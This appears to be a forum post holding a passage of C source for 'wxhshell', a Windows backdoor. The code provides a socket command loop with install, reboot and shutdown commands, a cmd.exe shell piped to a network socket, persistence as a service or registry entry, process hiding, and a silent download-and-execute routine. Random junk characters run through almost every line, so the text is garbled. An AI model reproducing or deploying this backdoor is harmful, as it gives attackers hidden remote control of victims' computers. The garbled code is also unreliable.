  9v_gR52vh  
  // 帮助 to(OVg7_  
  case '?': { !f V.#9AB#  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); *(& J^  
    break; t> -cTQm  
  } HRC5z<k%  
  // 安装 L_=J(H|  
  case 'i': { 2< qq[2  
    if(Install()) (3&@c!E  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); )p).}"   
    else sbQmPV  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); RT F9;]Ti  
    break; Z[slN5]([  
    } 1Hy  
  // 卸载 tt6ElP|D  
  case 'r': { 2sk^A ly  
    if(Uninstall()) Cx} Yp-  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); oy;N3  
    else WIQt5=-  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 69`9!heu  
    break; H7H'0C  
    } Gg{@]9  
  // 显示 wxhshell 所在路径 4;7<)&#h  
  case 'p': { >8#(GXnSt  
    char svExeFile[MAX_PATH]; o.Mb~8Yu  
    strcpy(svExeFile,"\n\r"); ec)G~?FH  
      strcat(svExeFile,ExeFile); mdoy1a  
        send(wsh,svExeFile,strlen(svExeFile),0); D-8%lGS  
    break; ouPwhB,bg  
    } ?k<wI)JR  
  // 重启 Q{0-pHr}  
  case 'b': { ZL+{?1&-  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); Wu2#r\  
    if(Boot(REBOOT)) T=A7f6`  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); LrsP4G  
    else { 7?]gUrE  
    closesocket(wsh); jcYI"f"~  
    ExitThread(0); ;_F iiBk7(  
    } [64K?l0&  
    break; C;OU2,c,T  
    } BT2[@qH|qF  
  // 关机 +wY3E*hU  
  case 'd': { @lc1Ipfk"  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); T=ox;r  
    if(Boot(SHUTDOWN)) +7|Oy3s  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); BO#fzq%  
    else { fp:j~a>E  
    closesocket(wsh); '_4u, \SG  
    ExitThread(0); !,V8?3.aJn  
    } `i9WnPRt  
    break; 2Qc&6-;`  
    } SrN0f0  
  // 获取shell ad&Mk^p  
  case 's': { 6aX m9 J  
    CmdShell(wsh); Bb}JyT  
    closesocket(wsh); @:oMlIw;  
    ExitThread(0); 49 fs$wr@  
    break; +0^N#0)  
  } 1Yz1/gFj  
  // 退出 _U.8\J2  
  case 'x': { +`mJh \*  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 3S_KycE{  
    CloseIt(wsh); nx $?wxIm  
    break; X. UN=lu  
    } hkRv0q.'  
  // 离开 bqS*WgMY-  
  case 'q': { /:z}WAW  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 7 G~MqnO|  
    closesocket(wsh); !:c7I@  
    WSACleanup(); "sUe:F;  
    exit(1); yV$p(+KkS  
    break; qusgX;)  
        } BaR9X ?~O$  
  } ]Q6,,/nn  
  } Q5Y4@  
k#5S'sCF<  
  // 提示信息 Rdwr?:y(]  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); [ j1SX-NX  
} 7`~h'(k  
  } KG4~t=J`  
;k (}~_  
  return; n)sK#C-VA  
} tCI8 \~  
WN?!(r<qA_  
// shell模块句柄 IE|x+RBD  
int CmdShell(SOCKET sock) x*}(l%[  
{ OC 7:Dp4  
STARTUPINFO si; @H]g_yw [:  
ZeroMemory(&si,sizeof(si)); x|F6^d   
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; E-E+/.A  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; SXwgn >  
PROCESS_INFORMATION ProcessInfo; fx99@%Ii  
char cmdline[]="cmd"; TJ?}5h5  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 2^[fUzL?  
  return 0; dn:g_!]p  
} @ns2$(wkm@  
O >n L;I  
// 自身启动模式 nUs)  
int StartFromService(void) QI0ARdS  
{ 8p-5.GU)<e  
typedef struct R+]Fh4t  
{ P-7!\[];te  
  DWORD ExitStatus; fR_)e:  
  DWORD PebBaseAddress; 0 m";=:(w  
  DWORD AffinityMask; j<"0ym)A  
  DWORD BasePriority; ( J\D"4q  
  ULONG UniqueProcessId; b ?B"u^b!  
  ULONG InheritedFromUniqueProcessId; vTh-I&}:  
}   PROCESS_BASIC_INFORMATION; d,8V-Dk+p  
TG{=~2  
PROCNTQSIP NtQueryInformationProcess; Tk|0 scjE^  
MR#jI  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; D7sw;{ns  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; '=\]4?S  
#U"\v7C{n  
  HANDLE             hProcess; [9'5+RXw3  
  PROCESS_BASIC_INFORMATION pbi; .NQoqXR  
!yoj ZG MB  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); tE(x8>5A:  
  if(NULL == hInst ) return 0; E 7;KG^  
0b?9LFd  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 31w?bx !Pp  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); yc_(L-'n  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); %/1`"M5ko  
h+R}O9BD  
  if (!NtQueryInformationProcess) return 0; i:qc2#O:J  
0}Kl47}aD  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); p KKn  
  if(!hProcess) return 0; [9[tn -  
|pq z(j7  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; _^#PV}  
T_5 E  
  CloseHandle(hProcess); K 2LLuS!  
o1GWcxu*\  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); }{=%j~V;&  
if(hProcess==NULL) return 0; S4~^HvMG[Y  
qW;nWfkYC  
HMODULE hMod; XLEA|#  
char procName[255]; o~mY,7@a  
unsigned long cbNeeded; >Q[]i4*A  
_L%/NXu,  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); C UlANd"  
V [[B~Rs  
  CloseHandle(hProcess); n." j0kc7=  
S9U9;>g  
if(strstr(procName,"services")) return 1; // 以服务启动 }gag?yQ.^  
6&.[ :IHw  
  return 0; // 注册表启动 OWtN=Gk  
} XfViLBY( >  
C [=/40D  
// 主模块 `9zP{p  
int StartWxhshell(LPSTR lpCmdLine) ~uzu*7U  
{ "O9uz$  
  SOCKET wsl; xV}|G   
BOOL val=TRUE; WVJN6YNd V  
  int port=0; \<T6+3p  
  struct sockaddr_in door; H{p+gj^J  
x*Z"~'DI  
  if(wscfg.ws_autoins) Install(); 4&$hBn=!  
>]ZojdOl)  
port=atoi(lpCmdLine); ^~=o?VtBg  
`.L8<-]W  
if(port<=0) port=wscfg.ws_port; 4)v\Dc/9i  
< g6 [mS  
  WSADATA data; KXicy_@DC`  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; wQPjo!FEX  
Z~T- *1V  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   Qnr' KbK  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 8Vl!&j0s^  
  door.sin_family = AF_INET; j><.tA~i  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); li/IKS)e$  
  door.sin_port = htons(port); J*a`qU   
`=q)-y_C  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { +SUQRDF@i  
closesocket(wsl); Yw?%>L  
return 1; ]=@>;yP)  
} 0sV;TQt+f  
rb`C:#j{J  
  if(listen(wsl,2) == INVALID_SOCKET) { xQWZk`6~L  
closesocket(wsl); `4\H'p  
return 1; ]#3=GFs/  
} -bZ^A~<O,  
  Wxhshell(wsl); ,lL0'$k~  
  WSACleanup(); %S$P+B?  
/SlCcozFL~  
return 0; IF5+&O  
%z.u % %  
} JGGss5  
(8=Zr0He  
// 以NT服务方式启动 ;<ed1%Le,  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) MttVgNV  
{ <aL$d7  
DWORD   status = 0; X@|  
  DWORD   specificError = 0xfffffff; ec"L*l"  
vERsrg;(  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ?=Ma7 y  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; XK(<N<Z@|e  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; b4oZ@gVR;  
  serviceStatus.dwWin32ExitCode     = 0; F =d L#@^  
  serviceStatus.dwServiceSpecificExitCode = 0; KY2xKco  
  serviceStatus.dwCheckPoint       = 0;  '=%vf  
  serviceStatus.dwWaitHint       = 0; $Iqt c)DA  
h r*KDT^!  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); e:NzpzI"v  
  if (hServiceStatusHandle==0) return; 0($MN]oZa  
15Yy&9D  
status = GetLastError(); .i[Tp6'%,  
  if (status!=NO_ERROR) o6B!ikz 8  
{ sx*(JM}Be  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; +de.!oY  
    serviceStatus.dwCheckPoint       = 0; LLaoND6  
    serviceStatus.dwWaitHint       = 0; o*5|W9  
    serviceStatus.dwWin32ExitCode     = status; 0r:8ni%cL  
    serviceStatus.dwServiceSpecificExitCode = specificError; Bv3?WW  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); NpH)K:$#%  
    return; QFDjsd4  
  } *$(9,y\  
qC`"<R=GX  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 3ywBq9FGhp  
  serviceStatus.dwCheckPoint       = 0; E hd*  
  serviceStatus.dwWaitHint       = 0; X Uh)z  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); O6k[1C  
} HZfcLDrO  
YBHmd  
// 处理NT服务事件,比如:启动、停止 K _O3DcQ  
VOID WINAPI NTServiceHandler(DWORD fdwControl) :R<,J=+$u  
{ B6$s*SXNp  
switch(fdwControl) 9Z7o?S";  
{ [x-Z)Q. 5  
case SERVICE_CONTROL_STOP: -$[=AqJXp;  
  serviceStatus.dwWin32ExitCode = 0; C.pNDpx-  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; "6Ly?'H K  
  serviceStatus.dwCheckPoint   = 0; \*d@_oQ$  
  serviceStatus.dwWaitHint     = 0; }JrM!'  
  { BD,~M*%z  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); F}i rCi47c  
  } !Y`nKC(=z  
  return; 36&7J{MU  
case SERVICE_CONTROL_PAUSE: @: %}clZ  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; tEBf2|<  
  break; +>c)5Jih  
case SERVICE_CONTROL_CONTINUE: !=k\Rr@qx  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; cs~ }k7><  
  break; _;X# &S(q-  
case SERVICE_CONTROL_INTERROGATE: UmInAH4  
  break; ?G.9D`95  
}; wQ(ME7 t  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); t-_N|iW' 5  
} dtm_~r7~  
Y:*mAv;&  
// 标准应用程序主函数 9OXrz}8C  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) shnfH   
{ OuS{ve  
1cOp"!  
// 获取操作系统版本 ]<W1edr  
OsIsNt=GetOsVer(); * C's7O{O  
GetModuleFileName(NULL,ExeFile,MAX_PATH); }6m5MH$7q  
49Ht I9@  
  // 从命令行安装 Q.M3rRh  
  if(strpbrk(lpCmdLine,"iI")) Install(); K& 2p<\2  
LNk 3=v2M  
  // 下载执行文件 1pO ;aG1O  
if(wscfg.ws_downexe) { q:1 1XPP  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 6t/})Xv  
  WinExec(wscfg.ws_filenam,SW_HIDE); U{eC^yjt"o  
} bKG:_mWe w  
~g>15b3  
if(!OsIsNt) { |w /txn8G|  
// 如果时win9x,隐藏进程并且设置为注册表启动 *~2jP;$  
HideProc(); iT9cw`A^%  
StartWxhshell(lpCmdLine); b LSI\  
} r/3 !~??x  
else +apIp(E+  
  if(StartFromService()) "LXLUa03  
  // 以服务方式启动 My_fm?n  
  StartServiceCtrlDispatcher(DispatchTable); 4ol=YGCI_  
else ,MOB+i(3*u  
  // 普通方式启动 |FPx8b;#  
  StartWxhshell(lpCmdLine); 2tn%/gf'm  
ukq9Cjs  
return 0; R!}B^DVt  
}
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只看该作者 1 发表于: 2006-10-10
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